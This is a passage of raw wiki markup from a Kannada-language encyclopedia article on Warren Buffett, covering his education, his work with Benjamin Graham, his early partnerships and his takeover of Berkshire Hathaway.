Initiative]]|archive-date=2010-06-17|archive-url=https://web.archive.org/web/20100617011213/http://www.nti.org/b_aboutnti/b1t.html|url-status=dead}}</ref> ಯ [[ವುಡ್ರೋ ವಿಲ್ಸನ್‌ ಪ್ರೌಢಶಾಲೆ]]ಯಲ್ಲಿ ಶಿಕ್ಷಣ ಕೊಡಿಸಲಾಯಿತು. 1945ರಲ್ಲಿ, [[ಪ್ರೌಢಶಾಲೆಯ]] ಪ್ರಥಮ ವರ್ಷದ ವಿದ್ಯಾರ್ಥಿಯಾಗಿದ್ದಾಗ, ಬಫೆಟ್‌‌‌ ಹಾಗೂ ಆತನ ಸ್ನೇಹಿತ $25 ಬೆಲೆಯ ಬಳಸಿದ [[ಪಿನ್‌ಬಾಲ್‌ ಆಟದ ಯಂತ್ರ]]ವನ್ನು ಕೊಂಡು, ಅದನ್ನು [[ಕ್ಷೌರಿಕನ ಅಂಗಡಿ]]ಯಲ್ಲಿಟ್ಟರು. ಕೆಲವೇ ತಿಂಗಳುಗಳಲ್ಲಿ, ಅವರು ವಿವಿಧ ಸ್ಥಳಗಳಲ್ಲಿದ್ದ ಮೂರು ಯಂತ್ರಗಳ ಮಾಲಿಕರಾದರು. ಬಫೆಟ್‌‌‌ ಮೊದಲಿಗೆ [[ಪೆನ್ಸಿಲ್‌ವೇನಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ದ, (1947–49) [[ದ ವಾರ್ಟನ್‌ ವಿದ್ಯಾಲಯ]]ಕ್ಕೆ ದಾಖಲುಗೊಂಡರಲ್ಲದೇ, ಅಲ್ಲಿನ [[ಆಲ್ಫಾ ಸಿಗ್ಮಾ ಫೈ/ಫಿ]] ವಿದ್ಯಾರ್ಥಿ ಸಂಘಕ್ಕೆ ಸೇರಿದರು. ಆತನ ತಂದೆ ಹಾಗೂ ಚಿಕ್ಕಪ್ಪಂದಿರು ನೆಬ್ರಾಸ್ಕಾದಲ್ಲಿನ ವರ್ಗದ ಆಲ್ಫಾ ಸಿಗ್ಮಾ ಫೈ/ಫಿ ಒಡನಾಡಿಗಳಾಗಿದ್ದವರು. 1950ರಲ್ಲಿ, [[ನೆಬ್ರಾಸ್ಕಾ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ಕ್ಕೆ ಅವರು ವರ್ಗಾವಣೆಯಾದರು ಹಾಗೂ ಅಲ್ಲಿಯೇ ಅರ್ಥಶಾಸ್ತ್ರದ [[B.S.]] ಪದವಿಯನ್ನು ಪಡೆದರು.<ref>{{cite web|url=http://www.unl.edu/ucomm/ucomm/notables/alumni.shtml |title=UNL &#124; Nebraska Notables &#124; Alumni |publisher=Unl.edu |date=1914-02-24 |accessdate=2009-02-23}}</ref> ಬಫೆಟ್‌‌‌, ಇಬ್ಬರು ಸುಪ್ರಸಿದ್ಧ [[ಆಧಾರಪತ್ರ ವಿಶ್ಲೇಷಕ]]ರುಗಳಾದ [[ಬೆಂಜಮಿನ್‌ ಗ್ರಹಾಂ]] , (''[[ದ ಇಂಟೆಲಿಜೆಂಟ್‌ ಇನ್‌ವೆಸ್ಟರ್‌‌]]'' ಪುಸ್ತಕದ ಲೇಖಕ), ಹಾಗೂ [[ಡೇವಿಡ್‌ ಡಾಡ್‌]]ರು [[ಕೊಲಂಬಿಯಾ ಉದ್ಯಮಶಾಲೆ]]ಯಲ್ಲಿ ಪಾಠ ಮಾಡುತ್ತಾರೆ ಎಂದು ತಿಳಿದುಕೊಂಡ ನಂತರ ಅಲ್ಲಿಗೆ ದಾಖಲಾದರು. ಅವರು ನಂತರ [[ಕೊಲಂಬಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ದಿಂದ 1951ರಲ್ಲಿ [[ಅರ್ಥಶಾಸ್ತ್ರ]]ದಲ್ಲಿ [[M.S.]] ಪದವಿ ಪಡೆದರು. [[ಚಿತ್ರ:Phil Fisher.jpg|thumb|75px|ಫಿಲ್‌ ಫಿಷರ್‌‌ (1907–2004)]] ಬಫೆಟ್‌‌ರದೇ ಮಾತುಗಳಲ್ಲಿ ಹೇಳುವುದಾದರೆ: <blockquote><p>ನಾನು 15 ಪ್ರತಿಶತ [[ಫಿಷರ್‌‌]] ಹಾಗೂ 85 ಪ್ರತಿಶತ ಬೆಂಜಮಿನ್‌ ಗ್ರಹಾಂ ಆಗಿದ್ದೇನೆ.<ref>{{harvnb|Hagstrom|2005|p= 27}}</ref></p><p>ಹೂಡಿಕೆಯಲ್ಲಿನ ಮೂಲ ಕಲ್ಪನೆಗಳೆಂದರೆ ಸ್ಟಾಕ್‌/ದಾಸ್ತಾನುಗಳನ್ನು ಉದ್ದಿಮೆಯಾಗಿ ಪರಿಗಣಿಸಿ, ಮಾರುಕಟ್ಟೆಯ ಅನಿಶ್ಚಿತತೆಗಳನ್ನು ತನ್ನ ಅನುಕೂಲತೆಗೆ ತಕ್ಕಂತೆ ಬಳಸಿಕೊಂಡು [[ಸುರಕ್ಷತಾ ಅಂತರವನ್ನು]] ಕಾಯ್ದುಕೊಳ್ಳುವುದು. ಇದನ್ನೇ ನಮಗೆ ಬೆನ್‌ ಗ್ರಹಾಂ ಹೇಳಿಕೊಟ್ಟದ್ದು. ಇನ್ನೂ ನೂರು ವರ್ಷಗಳ ನಂತರವೂ ಇವೇ ಹೂಡಿಕೆದಾರರಿಗೆ ಬುನಾದಿಯಾಗಿರಲಿವೆ.<ref>{{harvnb|Hagstrom|2005|p=14 Warren Buffett is now the richest man in the world with $65 [[billion]]. GE Raises $15 [[billion]]; Buffett Gets Preferred Stake (Update3) }}</ref></p></blockquote> == ವೃತ್ತಿಜೀವನ == ಬಫೆಟ್‌‌‌ರು 1951ರಿಂದ-54ರವರೆಗೆ [[ಒಮಾಹಾ]]ದ ''ಬಫೆಟ್‌‌-ಫಾಕ್‌ &amp; Co.'' ಕಂಪೆನಿಯಲ್ಲಿ ಹೂಡಿಕೆ ಮಾರಾಟಗಾರರಾಗಿ, 1954ರಿಂದ–1956ರವರೆಗೆ [[ನ್ಯೂಯಾರ್ಕ್‌]]ನ ''ಗ್ರಹಾಮ್‌‌-ನ್ಯೂಮನ್‌ Corp.'' ಕಂಪೆನಿಯಲ್ಲಿ, ಆಧಾರಪತ್ರ ವಿಶ್ಲೇಷಕರಾಗಿ, 1956ರಿಂದ–1969ರವರೆಗೆ ಒಮಾಹಾದ ''ಬಫೆಟ್‌‌‌ ಪಾರ್ಟ್‌ನರ್‌ಶಿಪ್‌, Ltd.'' ಕಂಪೆನಿಯ ಪ್ರಧಾನ ಭಾಗೀದಾರರಾಗಿದ್ದುದಲ್ಲದೇ, 1970ರಿಂದ–ಪ್ರಸ್ತುತದವರೆಗೆ ಒಮಾಹಾದ [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ Inc]] ಕಂಪೆನಿಯ [[ಅಧ್ಯಕ್ಷ]], [[CEO]] ಆಗಿ ಕೆಲಸ ನಿರ್ವಹಿಸಿದ್ದಾರೆ. 1952ರಲ್ಲಿ, [[ಗ್ರಹಾಮ್‌]]ರು [[GEICO]] ವಿಮಾಸಂಸ್ಥೆಯ ಮಂಡಳಿಯಲ್ಲಿದ್ದಾರೆಂಬುದನ್ನು ಬಫೆಟ್‌‌‌ ತಿಳಿದುಕೊಂಡರು. ಒಂದು ಶನಿವಾರದಂದು ರೈಲನ್ನು ಹಿಡಿದು ವಾಷಿಂಗ್ಟನ್‌ , D.C.ಗೆ ಪಯಣಿಸಿದ ಅವರು GEICOನ ಪ್ರಧಾನ ಕಛೇರಿಯ ಬಾಗಿಲನ್ನು ದ್ವಾರಪಾಲಕನು ತಮ್ಮನ್ನು ಒಳಬಿಡುವವರೆಗೆ ತಟ್ಟಿದರು. ಅಲ್ಲಿ ಗೀಕೋನ ಉಪಾಧ್ಯಕ್ಷ ಲೊರಿಮರ್‌ ಡೇವಿಡ್‌ಸನ್‌ರನ್ನು ಭೇಟಿ ಮಾಡಿದ ನಂತರ, ಇಬ್ಬರೂ ವಿಮೆ ಉದ್ಯಮದ ಬಗ್ಗೆ ಗಂಟೆಗಳ ಕಾಲ ಚರ್ಚಿಸಿದರು. ಡೇವಿಡ್‌ಸನ್‌‌ ಅಂತಿಮವಾಗಿ ಬಫೆಟ್‌‌ರ ಜೀವಮಾನದ ಗೆಳೆಯರಾಗಿ ಹಾಗೂ ಶಾಶ್ವತ ಪ್ರಭಾವ ಬೀರಿದರಲ್ಲದೇ <ref>{{cite book|author=Lowenstein, Roger|title=Buffett: The Making of an American Capitalist|page=43}}</ref> ನಂತರ ಅವರು ಹೇಳಿಕೊಂಡ ಪ್ರಕಾರ, ಬಫೆಟ್‌‌‌ರನ್ನು ಭೇಟಿ ಮಾಡಿದ ಕೇವಲ ಹದಿನೈದು ನಿಮಿಷಗಳಲ್ಲೇ ಅವರನ್ನು ಓರ್ವ “ಅಸಾಧಾರಣ ವ್ಯಕ್ತಿ”ಯೆಂದು ಗುರುತಿಸಿದ್ದರು. ಬಫೆಟ್‌‌‌ ಕೊಲಂಬಿಯಾದಿಂದ ಪದವಿ ಪಡೆದ ನಂತರ [[ವಾಲ್‌ ಸ್ಟ್ರೀಟ್‌]]ನಲ್ಲಿ ಕೆಲಸ ಮಾಡಲು ಇಚ್ಛಿಸಿದ್ದರು, ಆದಾಗ್ಯೂ, ಅವರ ತಂದೆ ಹಾಗೂ ಬೆನ್‌ ಗ್ರಹಾಂ ಇಬ್ಬರೂ ಆತನನ್ನು ಹಾಗೆ ಮಾಡದಂತೆ ಆಗ್ರಹಿಸಿದರು. ಅವರು ಗ್ರಹಾಮ್‌ರ ಸಹಾಯಕರಾಗಿ ಉಚಿತವಾಗಿ ಕೆಲಸ ಮಾಡುವೆನೆಂದಾಗ, ಗ್ರಹಾಮ್‌ ನಿರಾಕರಿಸಿದರು.{{cn}} ಒಮಾಹಾಗೆ ಮರಳಿದ ಬಫೆಟ್‌‌‌ ಷೇರು ದಲ್ಲಾಳಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಾ [[ಡೇಲ್‌ ಕಾರ್ನೆಗೀ]] ಸಾರ್ವಜನಿಕ ಸಂಭಾಷಣಾ ತರಬೇತಿ ಪಡೆದುಕೊಂಡರು. {{Fact|date=June 2009}} ತಾನು ಕಲಿತದ್ದನ್ನು ಬಳಸಿಕೊಂಡು, "ಹೂಡಿಕೆಯ ಮೂಲತತ್ವಗಳ" ಬಗ್ಗೆ ಹೇಳಿಕೊಡಬಲ್ಲೆನೆಂಬ ಆತ್ಮವಿಶ್ವಾಸ ಹೊಂದಿದ ಅವರು [[ನೆಬ್ರಾಸ್ಕಾ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ದಲ್ಲಿ ರಾತ್ರಿ ತರಗತಿಗಳಲ್ಲಿ ಪಾಠ ಮಾಡಲಾರಂಭಿಸಿದರು. ಆತನ ವಿದ್ಯಾರ್ಥಿಗಳ ಸರಾಸರಿ ವಯಸ್ಸು ಆತನ ವಯಸ್ಸಿನ ಎರಡು ಪಟ್ಟಿಗಿಂತ ಹೆಚ್ಚಿತ್ತು. ಇದೇ ಅವಧಿಯಲ್ಲಿ ಅವರು ಸಿಂಕ್ಲೇರ್‌ ಟೆಕ್ಸಾಕೋ ಅನಿಲ ಕೇಂದ್ರವನ್ನು ಉಪ ಹೂಡಿಕೆಯಾಗಿ ಕೊಂಡುಕೊಂಡರು. ಆದಾಗ್ಯೂ, ಅದು ಯಶಸ್ವಿ ಉದ್ಯಮವಾಗಿ ಕೈಗೂಡಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ. 1952<ref name="washingtonpost.com"> {{cite news |title=Susan T. Buffett, 72, Dies; Wife of Billionaire Investor |first=Matt |last=Schudel |authorlink=Matt Schudel |url=http://www.washingtonpost.com/wp-dyn/articles/A26094-2004Jul29.html |work=[[Washington Post]] |date=July 30, 2004 |page=B06 |accessdate=2009-07-13 |curly= |author= |author2= |author3= |author4= |author5= |author6= |author7= |format= |agency= |publisher= |location= |isbn= |issn= |oclc= |pmid= |pmd= |bibcode= |doi= |id= |language = |archiveurl= |archivedate= |quote=}}</ref> ರಲ್ಲಿ ಬಫೆಟ್‌‌‌ [[ಸೂಸನ್‌ ಥಾಂಪ್ಸನ್‌]]ರನ್ನು ಮದುವೆಯಾದರು ಹಾಗೂ ಮರುವರ್ಷವೇ ತಮ್ಮ ಪ್ರಥಮ ಮಗುವಾಗಿ, [[ಸೂಸನ್‌ ಅಲೈಸ್‌ ಬಫೆಟ್‌‌]]ಳನ್ನು ಪಡೆದರು. 1954ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ [[ಬೆಂಜಮಿನ್‌ ಗ್ರಹಾಂ]]ರ ಸಹಭಾಗಿತ್ವದಲ್ಲಿ ಉದ್ಯೋಗವೊಂದನ್ನು ಒಪ್ಪಿಕೊಂಡರು. ಅವರ ಆರಂಭಿಕ ವೇತನವು ವಾರ್ಷಿಕ $12,000ರಷ್ಟಿತ್ತು (2008ರ ಡಾಲರ್‌ ಮೌಲ್ಯಕ್ಕೆ ಸರಿದೂಗಿಸಿದಂತೆ ಸರಿಸುಮಾರು $97,000). ಅಲ್ಲಿ ಅವರು [[ವಾಲ್ಟರ್‌ ಷ್ಲಾಸ್‌‌/ಸ್ಕಾಲ್ಸ್‌]]ರ ನಿಕಟವರ್ತಿಯಾಗಿ ಕೆಲಸ ಮಾಡಿದರು. ಗ್ರಹಾಮ್‌ರ ಕೈಕೆಳಗೆ ಕೆಲಸ ಮಾಡುವುದು ಕಷ್ಟಸಾಧ್ಯವಾಗಿತ್ತು. ಅವರು ಷೇರುಗಳ ಬೆಲೆ ಹಾಗೂ ಅವುಗಳ ಆಂತರಿಕ ಮೌಲ್ಯಗಳ ನಡುವಿನ ತುಲನೆಯನ್ನು ಮಾಡಿದ ನಂತರ, ಷೇರುಗಳು ಸುರಕ್ಷತಾ ಅಂತರವನ್ನು ವ್ಯಾಪಕಗೊಳಿಸುತ್ತದೆ ಎಂಬ ಅಚಲ ನಂಬಿಕೆಯನ್ನು ಹೊಂದಿದ್ದರು. ಈ ವಾದವು ಬಫೆಟ್‌‌‌ರಿಗೂ ಸೂಕ್ತವೆನಿಸಿದರೂ, ಇದರ ಮಾನದಂಡಗಳು ವಿಪರೀತ ಕಠಿಣವಾಗಿದೆ ಎಂದು ವಾದಿಸಿದ ಅವರು, ಕಂಪೆನಿಯು ಇದರಿಂದಾಗಿಯೇ ಉತ್ತಮ ಗುಣಮಟ್ಟದ ಮೌಲ್ಯಗಳನ್ನು ಹೊಂದಿರುವ ಇತರೆ ಪ್ರಭಾವೀ ಕಂಪೆನಿಗಳ ಅವಕಾಶಗಳನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತಿದೆ ಎಂದರು.{{cn}} ಅದೇ ವರ್ಷವೇ ಬಫೆಟ್‌‌ ದಂಪತಿಗಳು [[ಹೋವರ್ಡ್‌ ಗ್ರಹಾಮ್‌ ಬಫೆಟ್‌‌]] ಎಂಬ ತಮ್ಮ ಎರಡನೇ ಮಗುವನ್ನು ಪಡೆದರು. 1956ರಲ್ಲಿ, [[ಬೆಂಜಮಿನ್‌ ಗ್ರಹಾಂ]] ನಿವೃತ್ತಿ ತೆಗೆದುಕೊಂಡು ತಮ್ಮ ಭಾಗೀದಾರಿಕೆಯನ್ನು ಅಂತ್ಯಗೊಳಿಸಿದರು. ಈ ಸಮಯದ ಹೊತ್ತಿಗೆ ಬಫೆಟ್‌‌ರ ವೈಯಕ್ತಿಕ ಉಳಿಕೆಗಳು $174,000ಗೂ ಮೀರಿದ್ದವು ಹಾಗೂ ಅವರು ಒಮಾಹಾದಲ್ಲಿ ಬಫೆಟ್‌‌‌ ಪಾರ್ಟ್‌ನರ್‌ಶಿಪ್‌ Ltd. ಎಂಬ ಹೂಡಿಕೆ ಭಾಗಿದಾರತ್ವದ ಸಂಸ್ಥೆಯನ್ನು ಆರಂಭಿಸಿದರು. 1957ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಇಡೀ ವರ್ಷವೂ ಕಾರ್ಯಪ್ರವೃತ್ತವಾಗಿರುವ ಮೂರು ಭಾಗೀದಾರಿಕೆಗಳನ್ನು ಹೊಂದಿದ್ದರು. ಅವರು ತಾವು ಈಗಲೂ ವಾಸಿಸುತ್ತಿರುವ ಐದು-ಮಲಗುವಕೋಣೆಗಳ ಅಲಂಕೃತ ನಯವಾದ ಗಾರೆಯ ಮನೆಯನ್ನು ಒಮಾಹಾದಲ್ಲಿ, $31,500 ಬೆಲೆಗೆ ಕೊಂಡರು. 1958ರಲ್ಲಿ ಬಫೆಟ್‌‌ರ ಮೂರನೇ ಮಗುವಾಗಿ, [[ಪೀಟರ್‌ ಆಂಡ್ರ್ಯೂ ಬಫೆಟ್‌‌]] ಹುಟ್ಟಿದನು. ಬಫೆಟ್‌‌‌ ಇಡೀ ವರ್ಷದಲ್ಲಿ ಐದು ಸಹಭಾಗಿತ್ವಗಳಲ್ಲಿ ಕಾರ್ಯಾಚರಿಸಿದರು. 1959ರಲ್ಲಿ, ಕಂಪೆನಿಯು ಇಡೀ ವರ್ಷ ಆರು ಸಹಭಾಗಿತ್ವದ ಕಾರ್ಯಾಚರಣೆಯ ಮಟ್ಟ ಮುಟ್ಟಿತಲ್ಲದೇ ಬಫೆಟ್‌‌‌ರಿಗೆ [[ಚಾರ್ಲೀ ಮುಂಗರ್‌]]ರ ಪರಿಚಯವಾಯಿತು. 1960ರ ಹೊತ್ತಿಗೆ, ಬಫೆಟ್‌‌ ಬಫೆಟ್‌‌‌ ಅಸೋಸಿಯೇಟ್ಸ್‌, ಬಫೆಟ್‌ ಫಂಡ್‌, ಡಾಸೀ, ಎಂಡೀ, ಗ್ಲೆನಾಫ್‌, ಮೊ-ಬಫ್‌ ಹಾಗೂ ಅಂಡರ್‌ವುಡ್‌ ಎಂಬ ಏಳು ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿರುವ ಸಹಭಾಗಿತ್ವಗಳನ್ನು ಹೊಂದಿದ್ದರು. ಆತ ತನ್ನ ಪಾಲುದಾರರಲ್ಲಿ ಓರ್ವ ವೈದ್ಯರಿಗೆ, ತಮ್ಮ ಸಹಭಾಗಿತ್ವದಲ್ಲಿ ಪ್ರತಿಯೊಬ್ಬರೂ $10,000ರಷ್ಟನ್ನು ಹೂಡಲು ಇಚ್ಛೆಯುಳ್ಳ ಇನ್ನಿತರ ಹತ್ತು ವೈದ್ಯರನ್ನು ಕರೆದುತರಲು ಕೇಳಿದರು. ಅಂತಿಮವಾಗಿ ಹನ್ನೊಂದು ಮಂದಿ ಒಪ್ಪಿದರು. 1961ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಸ್ಯಾನ್‌ಬಾರ್ನ್‌ ಮ್ಯಾಪ್‌ ಕಂಪೆನಿಯು ಸಹಭಾಗಿತ್ವದ 35%ರಷ್ಟು ಆಸ್ತಿಯನ್ನು ಹೊಂದಿದೆ ಎಂದು ಬಹಿರಂಗಗೊಳಿಸಿದರು. 1958ರಲ್ಲಿ ಸ್ಯಾನ್‌ಬಾರ್ನ್‌ ಷೇರುಗಳು ಸ್ಯಾನ್‌ಬಾರ್ನ್‌ ಹೂಡಿಕೆ ಬಂಡವಾಳಪಟ್ಟಿಯ ಮೌಲ್ಯವು ಪ್ರತಿ ಷೇರಿಗೆ $65ರಷ್ಟಿದ್ದಾಗ ಪ್ರತಿ ಷೇರಿಗೆ ಕೇವಲ $45ರಂತೆ ಮಾರಾಟವಾಗಿದ್ದಾಗಿ ವಿವರಿಸಿದರು. ಇದರರ್ಥವೇನಿತ್ತೆಂದರೆ ಕೊಳ್ಳುಗರು ಸ್ಯಾನ್‌ಬಾರ್ನ್‌ನ ಪ್ರತಿ ಷೇರಿಗೆ "$20 ನಷ್ಟದ ಮೊತ್ತ"ದ ಬೆಲೆ ಕಟ್ಟಿದ್ದರು ಹಾಗೂ ಭೂಪಟ ಉದ್ಯಮದ ಹೂಡಿಕೆ ಬಂಡವಾಳಪಟ್ಟಿಯಲ್ಲಿನ ಪ್ರತಿ ಡಾಲರ್‌ಗೆ 70 ಸೆಂಟ್‌ಗಳಿಗಿಂತ ಹೆಚ್ಚಿನ ಮೊತ್ತವನ್ನು ತೆರಲು ಸಿದ್ಧರಿರಲಿಲ್ಲ. ಈ ವಿವರಣೆಯು ಅವರಿಗೆ ಸ್ಯಾನ್‌ಬಾರ್ನ್‌ನ ಆಡಳಿತ ಮಂಡಳಿಯಲ್ಲಿ ಸ್ಥಾನ ದೊರಕಿಸಿಕೊಟ್ಟಿತು. === ಐಶ್ವರ್ಯದೆಡೆಗಿನ ಹಾದಿ === 1962ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ತಮ್ಮ ಪಾಲುದಾರಿಕೆಗಳಿಂದ [[ದಶಲಕ್ಷಾಧಿಪತಿ/ಕೋಟ್ಯಾಧಿಪತಿ]]ಗಳಾದರು, ಅವುಗಳಲ್ಲಿ ಜನವರಿ 1962ರಂತೆ $7,178,500ರಷ್ಟು ಹೆಚ್ಚುವರಿ ಮೊತ್ತವಿದ್ದು, ಅದರಲ್ಲಿ $1,025,000ಕ್ಕೂ ಹೆಚ್ಚಿನ ಮೊತ್ತ ಬಫೆಟ್‌‌ರಿಗೆ ಸೇರಿದ್ದಾಗಿತ್ತು. ಬಫೆಟ್‌‌‌ ಎಲ್ಲಾ ಸಹಭಾಗಿತ್ವಗಳನ್ನೂ ಒಂದೇ ಸಹಭಾಗಿತ್ವದಲ್ಲಿ ವಿಲೀನಗೊಳಿಸಿದರು. ಬಫೆಟ್‌‌‌, ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ ಎಂಬ ವಸ್ತ್ರ ಉತ್ಪಾದನೆಯ ಸಂಸ್ಥೆಯೊಂದನ್ನು ಗಮನಿಸಿದರು. ಬಫೆಟ್‌‌ರ ಸಹಭಾಗಿತ್ವವು ಪ್ರತಿ ಷೇರಿಗೆ $7.60ರಂತೆ ಷೇರುಗಳನ್ನು ಕೊಳ್ಳುವುದರಿಂದ ಆರಂಭವಾಯಿತು. 1965ರಲ್ಲಿ, ಬಫೆಟ್‌‌ರ ಸಹಭಾಗಿತ್ವಗಳು ಹುರುಪಿನಿಂದ ಬರ್ಕ್‌ಷೈರ್‌ಅನ್ನು ಕೊಳ್ಳಲು ಆರಂಭಿಸಿದಾಗ, ಅವರು ಪ್ರತಿ ಷೇರಿಗೆ $14.86 ತೆತ್ತರು, ಆದರೆ ಕಂಪೆನಿಯ [[ದುಡಿಯುವ ಬಂಡವಾಳ]]ವು ಪ್ರತಿ ಷೇರಿಗೆ $19ರಷ್ಟಿತ್ತು. ಇದರಲ್ಲಿ ಸ್ಥಿರಾಸ್ತಿಯ ಮೌಲ್ಯವು ಒಳಗೊಂಡಿರಲಿಲ್ಲ (ಕಾರ್ಖಾನೆ ಹಾಗೂ ಸಲಕರಣೆಗಳು). ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ನಿಯಂತ್ರಣವನ್ನು ಆಡಳಿತ ಮಂಡಳಿಯ ಸಭೆಯಲ್ಲಿ ಪಡೆದುಕೊಂಡ ಬಫೆಟ್‌‌‌ , ಕಂಪೆನಿಯನ್ನು ನಡೆಸಲು ಕೆನ್‌ ಚೇಸ್‌, ಎಂಬ ನೂತನ ಅಧ್ಯಕ್ಷರನ್ನು ನೇಮಕ ಮಾಡಿದರು. 1966ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಸಹಭಾಗಿತ್ವವನ್ನು ನವೀನ ಬಂಡವಾಳಗಳಿಗೆ ಮುಚ್ಚಿದರು. ಬಫೆಟ್‌‌‌ ತಮ್ಮ ಪತ್ರದಲ್ಲಿ ಹೀಗೆ ಬರೆದಿದ್ದರು: <blockquote>ಪರಿಸ್ಥಿತಿಗಳು ಬದಲಾಗಿವೆಯೆಂಬುದು ಸ್ಪಷ್ಟವಾಗದ ಹೊರತು (ಕೆಲ ಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ಕ್ರೋಢೀಕರಿಸಿದ ಬಂಡವಾಳವು ಉತ್ತಮ ಫಲಿತಾಂಶವನ್ನು ನೀಡುತ್ತದೆ) ಅಥವಾ ಹೊಸ ಭಾಗೀದಾರರು ಸರಳ ಬಂಡವಾಳದ ಹೊರತಾಗಿ ಭಾಗೀದಾರತ್ವಕ್ಕೆ ಕೆಲ ಸ್ವತ್ತುಗಳನ್ನು ತರಲು ಸಾಧ್ಯವಾಗದಿದ್ದರೆ, BPLಗೆ ಹೊಸ ಭಾಗೀದಾರರನ್ನು ಸೇರಿಸಿಕೊಳ್ಳುವ ಯಾವುದೇ ಉದ್ದೇಶವನ್ನು ನಾನು ಹೊಂದಿಲ್ಲ.</blockquote> ತಮ್ಮ ಎರಡನೇ ಪತ್ರದಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಖಾಸಗಿ ಉದ್ಯಮವೊಂದರಲ್ಲಿ ತಮ್ಮ ಪ್ರಪ್ರಥಮ ಹೂಡಿಕೆಯನ್ನು ಮಾಡಿರುವುದಾಗಿ ಘೋಷಿಸಿದರು — ಇದು ಹೊಚ್‌ಷಿಲ್ಡ್‌, ಕೊಹ್ನ್‌‌ ಅಂಡ್‌ Co, ಎಂಬ ಖಾಸಗಿ ಮಾಲಿಕತ್ವದ ಬಾಲ್ಟಿಮೋರ್‌ನ ವಿವಿಧ ಸರಕಿನ ಮಳಿಗೆಯಾಗಿತ್ತು. 1967ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ ತನ್ನ ಪ್ರಪ್ರಥಮ ಹಾಗೂ ಕೇವಲ 10 ಸೆಂಟ್‌ಗಳ ಲಾಭಾಂಶವನ್ನು ಪಾವತಿಸಿತು. 1969ರಲ್ಲಿ, ತನ್ನ ಅತ್ಯಂತ ಯಶಸ್ವಿ ವರ್ಷದ ನಂತರದ ವರ್ಷದಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ಸಹಭಾಗಿತ್ವವನ್ನು ಕೊನೆಗೊಳಿಸಿ ಅದರ ಸ್ವತ್ತುಗಳನ್ನು ತನ್ನ ಭಾಗಿದಾರರುಗಳಿಗೆ ವರ್ಗಾಯಿಸಿದರು. ಪಾವತಿಸಿದ ಸ್ವತ್ತುಗಳಲ್ಲಿ ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ಷೇರುಗಳೂ ಸೇರಿದ್ದವು. 1970ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇನ ಅಧ್ಯಕ್ಷರಾಗಿ, ಬಫೆಟ್‌‌‌ ಈಗ ಪ್ರಸಿದ್ಧವಾಗಿರುವ ತಮ್ಮ ಷೇರುದಾರರಿಗೆ ವಾರ್ಷಿಕ ಪತ್ರಗಳನ್ನು ಬರೆಯುವಿಕೆಯನ್ನು ಆರಂಭಿಸಿದರು. ಆದಾಗ್ಯೂ, ಅವರು ಕೇವಲ ತಮ್ಮ ವಾರ್ಷಿಕ $50,000ರ ವೇತನ ಹಾಗೂ ಹೊರಗಿನ ಹೂಡಿಕೆಯ ಆದಾಯದಲ್ಲಿಯೇ ತಮ್ಮ ಜೀವನವನ್ನು ನಡೆಸಿದರು. 1979ರಲ್ಲಿ, ಬರ್ಕ್‌ಷೈರ್‌ನ ವ್ಯಾವಹಾರಿಕ ವರ್ಷದ ಆರಂಭದಲ್ಲಿ ಪ್ರತಿ ಷೇರಿಗೆ $775 ಬೆಲೆಯಿದ್ದರೆ ವರ್ಷದ ಕೊನೆಯ ಹೊತ್ತಿಗೆ $1,310ರಷ್ಟಿತ್ತು. ಬಫೆಟ್‌‌ರ ನಿವ್ವಳ ಆದಾಯವು $620 ದಶಲಕ್ಷವನ್ನು ಮುಟ್ಟಿತಲ್ಲದೇ, ಅವರನ್ನು ಪ್ರಥಮ ಬಾರಿಗೆ [[ಫೋರ್ಬ್ಸ್‌ 400]]ನ ಪಟ್ಟಿಯಲ್ಲಿ ಸೇರಿಸಲಾಯಿತು. 2006ರ ಜೂನ್‌ನಲ್ಲಿ, ಜುಲೈ 2006ರಲ್ಲಿ ಆರಂಭಿಸಿ ತಮ್ಮ ಬರ್ಕ್‌ಷೈರ್‌ ಹಿಡುವಳಿಗಳ 85%ರಷ್ಟನ್ನು ಕ್ರಮೇಣ ಐದು ಪ್ರತಿಷ್ಠಾನಗಳಿಗೆ ಷೇರುಗಳ ವಾರ್ಷಿಕ ಉಡುಗೊರೆಯ ರೂಪದಲ್ಲಿ ದಾನ ನೀಡುತ್ತೇನೆಂದು ಬಫೆಟ್‌‌‌ ಘೋಷಿಸಿದರು. ಅತಿ ಹೆಚ್ಚಿನ ದೇಣಿಗೆಯು [[ಬಿಲ್‌ ಮತ್ತು ಮೆಲಿಂಡಾ ಗೇಟ್ಸ್‌‌ ಪ್ರತಿಷ್ಠಾನ]]ಕ್ಕೆ ನೀಡಲಾಗುತ್ತಿದೆ.<ref>{{cite journal|first=Carol J.|last=Loomis|title=Warren Buffett gives away his fortune|journal=[[Fortune (magazine)|Fortune]]|date=2006-06-25}}</ref> 2007ರಲ್ಲಿ, ಷೇರುದಾರರಿಗೆ ಬರೆದ ಪತ್ರದಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ತಾವು ತಮ್ಮ ಹೂಡಿಕೆಯ ಉದ್ಯಮವನ್ನು ನಡೆಸಿಕೊಂಡು ಹೋಗಲು ಸಮರ್ಥನಾದ ಯುವ ಉತ್ತರಾಧಿಕಾರಿಯನ್ನು, ಅಥವಾ ಬಹುಶಃ ಉತ್ತರಾಧಿಕಾರಿಗಳನ್ನು 